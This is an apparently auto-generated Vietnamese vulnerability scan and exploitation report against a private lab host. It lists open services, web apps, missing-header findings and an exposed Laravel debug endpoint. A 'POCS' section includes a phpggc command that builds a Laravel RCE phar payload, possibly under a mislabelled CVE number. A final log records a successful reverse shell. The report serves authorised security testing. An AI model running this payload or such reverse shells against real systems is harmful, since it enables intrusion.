BÁO CÁO

Dò quét thông tin lỗ hổng bảo mật hệ thông

THEO HỒ SƠ

I Thông tin về dò quét

1.1 Thông tin tiến trình dò quét

1.1.1 Lần quét 1

_id	Name	Target	Date_Create	Date_Stop	Status
614993f0f2ecf62470b071af	test_running	192.168.133.181	21/09/2021T15:12:32	21/09/2021T15:18:16	StatusSuccess
61494be0b3cfb4d777eb9576	test_running	192.168.133.198	21/09/2021T10:05:04	21/09/2021T10:05:30	StatusSuccess

1.2 Thông tin đối tượng dò quét

1.2.1 IP

TT	IN_IP
1	192.168.133.1

1.2.2 DOMAIN

TT	IN_DOMAIN
1	http://local-asdcxsd

1.2.3 DESCRIBE

TT	IN_DESCRIBE
1	local

1.2.4 NAME

TT	IN_NAME
1	local-scan

1.2.5 AUTHEN

TT	IN_AUTHEN	
1	**username**	
	password	

II Thu thập, dò quét thông tin

2.1 SERVICES

TT	name	product	version	port	protocol
1	smtp	Postfix smtpd	0	25	tcp
2	netbios-ssn	Samba smbd	3.X - 4.X	139	tcp
3	https	VMware Workstation SOAP API	15.5.6	443	tcp
4	netbios-ssn	Samba smbd	3.X - 4.X	445	tcp
5	vmware-auth	VMware Authentication Daemon	1.10	902	tcp
6	xmsg	0	0	1716	tcp
7	http	Werkzeug httpd	1.0.1	3001	tcp
8	http	Werkzeug httpd	1.0.1	5000	tcp
9	realserver	0	0	7070	tcp
10	http	Werkzeug httpd	1.0.1	8089	tcp
11	http	0	0	8888	tcp

2.2 PORTS

TT	RECON_PORTS
1	25
2	139
3	443
4	445
5	902
6	1716
7	3001
8	5000
9	7070
10	8089
11	8888

2.3 OS

2.4 WEBAPP

TT	RECON_WEBAPP
1	http://192.168.133.1:5000
2	http://192.168.133.1:3001
3	http://192.168.133.1:8888
4	http://192.168.133.1:8089
5	https://192.168.133.1:443

2.5 CVE

2.6 VULN

TT	name	host	matched	ip	results
1	Clickjacking (Missing XFO header)	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
2	Clickjacking (Missing XFO header)	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
3	Clickjacking (Missing XFO header)	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
4	Clickjacking (Missing XFO header)	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
5	Clickjacking (Missing XFO header)	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
6	Clickjacking (Missing XFO header)	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
7	Clickjacking (Missing XFO header)	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
8	CSP Not Enforced	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]

TT	name	host	matched	ip	results
9	Strict Transport Security Not Enforced	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
10	X-Content-Type-Options unidentified	http://192.168.133.1:5000	http://192.168.133.1:5000	192.168.133.1	[]
11	CSP Not Enforced	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
12	Strict Transport Security Not Enforced	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
13	X-Content-Type-Options unidentified	http://192.168.133.1:3001	http://192.168.133.1:3001	192.168.133.1	[]
14	CSP Not Enforced	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
15	Strict Transport Security Not Enforced	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
16	X-Content-Type-Options unidentified	http://192.168.133.1:5000/	http://192.168.133.1:5000/	192.168.133.1	[]
17	CSP Not Enforced	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
18	Strict Transport Security Not Enforced	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
19	X-Content-Type-Options unidentified	http://192.168.133.1:3001/	http://192.168.133.1:3001/	192.168.133.1	[]
20	CSP Not Enforced	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
21	Strict Transport Security Not Enforced	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
22	X-Content-Type-Options unidentified	http://192.168.133.1:8089	http://192.168.133.1:8089	192.168.133.1	[]
23	CSP Not Enforced	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
24	Strict Transport Security Not Enforced	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
25	X-Content-Type-Options unidentified	http://192.168.133.1:8089/	http://192.168.133.1:8089/	192.168.133.1	[]
26	CSP Not Enforced	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
27	Strict Transport Security Not Enforced	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
28	X-Content-Type-Options unidentified	192.168.133.1:8888	http://192.168.133.1:8888	192.168.133.1	[]
29	Credentials Disclosure Check	192.168.133.1:8888	http://192.168.133.1:8888/	192.168.133.1	[nativeEvents=, nativeEvents=]
30	Email Extractor	192.168.133.1:8888	http://192.168.133.1:8888/	192.168.133.1	[u003Ctaylor@laravel.com, u003Ctaylor@laravel.com]
31	HTaccess config file	192.168.133.1:8888	http://192.168.133.1:8888/.htaccess	192.168.133.1	[]
32	X-Forwarded-For 403-forbidden bypass	https://192.168.133.1:443	https://192.168.133.1:443/test.txt	192.168.133.1	[]
33	Laravel Debug Enabled	192.168.133.1:8888	http://192.168.133.1:8888/_ignition/health-check	192.168.133.1	[]
34	Web Config file	192.168.133.1:8888	http://192.168.133.1:8888/web.config	192.168.133.1	[]

2.7 CONFIG

2.8 TECHNOLOGY

TT	port	name	version	product
1	5000	Python	3.6.9	[Programming languages]
2	5000	Flask	1.0.1	[Web frameworks, Web servers]
3	3001	Python	3.6.9	[Programming languages]
4	3001	Flask	1.0.1	[Web frameworks, Web servers]
5	8888	PHP	7.3.25	[Programming languages]
6	8888	Gravatar		[Miscellaneous]
7	8888	Underscore.js	4.17.19	[JavaScript libraries]
8	8888	Lodash	4.17.19	[JavaScript libraries]
9	8089	Python	3.6.9	[Programming languages]
10	8089	Flask	1.0.1	[Web frameworks, Web servers]
11	0	gravatar		
12	0	php		
13	5000	HEAD, GET, OPTIONS		http
14	0	GET,HEAD		
15	0	apachegeneric		

TT	port	name	version	product
16	0	ats		

III Thông tin lỗ hổng bảo mật

3.1 POCS

TT	result	app_name	created
1	**ShellInfo** **url**: • http://192.168.133.1:5000/ **info**: flask command injection RCE	flask-test-cve-2021-0000	2021-09-16 13:39:26
2	**ShellInfo** **data**: • \n php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "{}" --phar phar -o php:// output | base64 -w 0 | python -c "import sys;print(".join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"\n **url**: • http://192.168.133.1:8888 **info**: CVE-2021-3123 RCE	laravel-cve-2021-3123	2021-09-16 13:39:28

IV Lịch sử khai thác lỗ hổng

3.1 LOG_RUN_SHELL

TT	Server_REV	id_connect	date_connect	target_connect	ip_reverse_shell	port_reverse_shell	status
1	http://192.168.133.1:3001	37790	16/09/2021T18:52:14	http://192.168.133.1:5000/	192.168.133.1	37790	Success